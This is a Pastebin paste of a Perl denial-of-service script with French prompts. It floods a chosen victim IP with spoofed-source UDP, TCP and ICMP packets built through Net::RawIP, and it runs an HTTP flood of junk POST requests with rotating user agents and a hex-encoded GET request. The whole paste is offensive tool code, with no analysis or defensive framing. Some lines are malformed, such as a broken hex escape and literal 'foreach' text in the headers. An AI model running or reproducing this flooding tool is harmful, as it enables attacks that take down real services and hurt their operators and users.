API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jul 2nd, 2014
278
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.67 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. use Term::ANSIColor;
  3. use Net::RawIP;
  4. use IO::Socket::INET;
  5.  
  6. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  7.  
  8. if ( @ARGV == 0 ) {
  9.         print "Usage: ./$PROG [Adresse IP] [Port] [Temps] [Protocole] \n\n";
  10.         print "Protocoles :  \n\n-UDP\n-TCP\n-ICMP\n-HTTP\n";
  11.     exit;
  12. }
  13.  
  14.  
  15. my $victime = $ARGV[0];
  16. my $port = $ARGV[1];
  17. my $temps = $ARGV[2];
  18. my $proto = $ARGV[3];
  19. $endtime = time() + ($temps ? $temps : 1000000);
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27. my @referer = ('http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&url=$victime');
  28.  
  29. my @agent = ('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
  30. 'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13)',
  31. 'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
  32. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:21.0) Gecko/20100101 Firefox/21.0',
  33. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)',
  34. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
  35. 'Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; LNV-Lenovo K910e/S100; 1080*1920; CTC/2.0) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safa',
  36. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
  37. 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1',
  38. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0',
  39. 'Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02 [en]',
  40. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
  41. 'Lynx/2.8.8dev.12 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.14',
  42. 'Opera/9.20 (Windows NT 6.0; U; en)',
  43. 'Mozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9',
  44. 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  45. 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  46. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  47. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  48. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  49. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  50. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  51. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  52. 'Mozilla/5.0 (X11; Linux 3.5.4-1-ARCH i686; es) KHTML/4.9.1 (like Gecko) Konqueror/4.9',
  53. 'Mozilla/5.0 (compatible; Konqueror/3.5; SunOS)',
  54. 'Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)',
  55. 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
  56. 'Mozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9)');
  57.  
  58. my $foke =
  59. "\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30".
  60. "\x48\x6f\x73\x74\x3a\x20\0x687474703a2f2f", pack("H*", $victime).
  61. "\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x75\x72\x6c\x3f\x73\x61\x3d\x74\x26\x72\x63\x74\x3d\x6a\x26\x71\x3d\x26\x65\x73\x72\x63\x3d\x73\x26\x73\x6f\x75\x72\x63\x65\x3d\x77\x65\x62\x26\x63\x64\x3d\x31\x26\x75\x72\x6c\x3d\0x687474703a2f2f", pack("H*", $victime).
  62. "\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65";
  63.  
  64. my $reqq =
  65. "POST / HTTP/1.0\r\n".
  66. "Referer: {foreach (sort {int(rand(1))-1} @referer)}\r\n".
  67. "Content-Type: application/x-www-form-urlencoded\r\n".
  68. "Connection: Keep-Alive\r\n".
  69. "User-Agent: {foreach (sort {int(rand(1))-1} @agent)}\r\n".
  70. "Host: $victime\r\n".
  71. "\r\n".
  72. "skype=00000&host=00000&login=00000&password=00000&pseudo=00000&about=00000&test=00000&home=00000&page=00000&pages=00000&info=00000&infos=00000&check=00000&verif=00000&port=00000&time=00000&temps=00000&key=00000&news=00000&submit=00000&msg=00000&message=00000&link=00000&url=00000&email=00000@00000.cn&mail=00000@00000.cn&show=00000&id=00000\r\n";
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81. if( $proto eq 'UDP' )
  82.  
  83.                 {
  84.                
  85.  
  86. print "\033[2J";    #clear the screen
  87. print "\033[0;0H"; #jump to 0,0
  88.  
  89.  
  90.                
  91.                     print color ("red"),"[+]",color("reset"),"Envoye de packets .... ";
  92.                     print color ("red"),"[+]",color("reset"),"\n";
  93.                     for (;time() <= $endtime;) {
  94.                                                     my $src_port = int(rand(65534)+1);
  95.                                                     my $src = join ".", map int rand 255, 1 .. 4;
  96.                                                     my $size = '60000';
  97.                                                     my $sport = int(rand(255));
  98.                                                     $frag = int(rand(2));
  99.  
  100.                                                     my $packet = new Net::RawIP({
  101.                                                             ip => {
  102.                                                                     saddr => $src,
  103.                                                                     daddr => $victime,
  104.                                                                     frag_off => $frag,
  105.                                                                     },
  106.                                                             udp => {
  107.                                                                     source => $sport,
  108.                                                                     dest => $port,
  109.                                                                     data=> $size,
  110.                                                                     }
  111.                                                                                 });
  112.  
  113.                                                     $packet->send;
  114.      
  115.      
  116.                                                 }
  117.        
  118.                 }
  119.    
  120.  
  121.    
  122.  
  123. if( $proto eq 'TCP' ) {
  124. print "\033[2J";    #clear the screen
  125. print "\033[0;0H"; #jump to 0,0
  126.  
  127.         print color ("red"),"[+]",color("reset"),"Envoye de packets ....";
  128.                     print color ("red"),"[+]",color("reset"),"\n";
  129.  
  130.     for (;time() <= $endtime;) {
  131.  
  132.         my( $pktct, $sport, $frag, $urg, $psh, $rst, $fin, $syn, $ack);
  133.         my $src_port = int(rand(65534)+1);
  134.         my $src = join ".", map int rand 255, 1 .. 4;
  135.         my $size = '60000';
  136.  
  137.    
  138.         $frag = int(rand(2));
  139.         $urg = int(rand(2));
  140.         $psh = int(rand(2));
  141.         $rst = int(rand(2));
  142.         $fin = int(rand(2));
  143.         $syn = int(rand(2));
  144.         $ack = int(rand(2));
  145.      
  146.  
  147.         my $packet = new Net::RawIP({
  148.             ip => {
  149.                 saddr => $src,
  150.                 daddr => $victime,
  151.                 frag_off => $frag,
  152.                   },
  153.             tcp => {
  154.                 source => $src_port,
  155.                 dest => $port,
  156.                 urg => $urg,
  157.                 psh => $psh,
  158.                 rst => $rst,
  159.                 fin => $fin,
  160.                 syn => $syn,
  161.                 ack => $ack,
  162.                 data => $size,
  163.                     }
  164.                                     });
  165.  
  166.         $packet->send;
  167.      
  168.      
  169.                                     }
  170.        
  171.                                 }
  172.    
  173.    
  174.    
  175.    
  176.     if( $proto eq 'ICMP' ) {
  177.    
  178.     print "\033[2J";    #clear the screen
  179. print "\033[0;0H"; #jump to 0,0
  180.     print color ("red"),"[+]",color("reset"),"Envoye de packet  ....";
  181.                     print color ("red"),"[+]",color("reset"),"\n";
  182. for (;time() <= $endtime;) {
  183.  
  184.     my($pktct, $code, $type, $frag);
  185.          my $src_port = int(rand(65534)+1);
  186.      my $src = join ".", map int rand 255, 1 .. 4;
  187.      my $size = '60000';
  188.  
  189.  
  190.      $code = int(rand(255));
  191.       $type = int(rand(255));
  192.       $frag = int(rand(2));
  193.      
  194.  
  195.        my $packet = new Net::RawIP({
  196.          ip => {
  197.             saddr => $src,
  198.             daddr => $victime,
  199.             frag_off => $frag,
  200.          },
  201.          icmp => {
  202.             code => $code,
  203.             type => $type,
  204.          }
  205.       });
  206.  
  207.       $packet->send;
  208.      
  209.      
  210.        }
  211.        
  212.    }
  213.    
  214.    
  215.    
  216.    
  217.     if( $proto eq 'HTTP' ) {
  218.     print "\033[2J";    #clear the screen
  219. print "\033[0;0H"; #jump to 0,0
  220.     print color ("red"),"[+]",color("reset"),"Envoye de packets";
  221.                     print color ("red"),"[+]",color("reset"),"\n";
  222.  
  223. for (;time() <= $endtime;) {
  224.        
  225.        
  226.        
  227.  
  228. $sock = IO::Socket::INET->new(PeerAddr => $victime, PeerPort => 80, Proto => "tcp") or next;
  229. print $sock $reqq;
  230. print $sock $foke;
  231. close($sock);
  232.        }
  233.        
  234.    }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!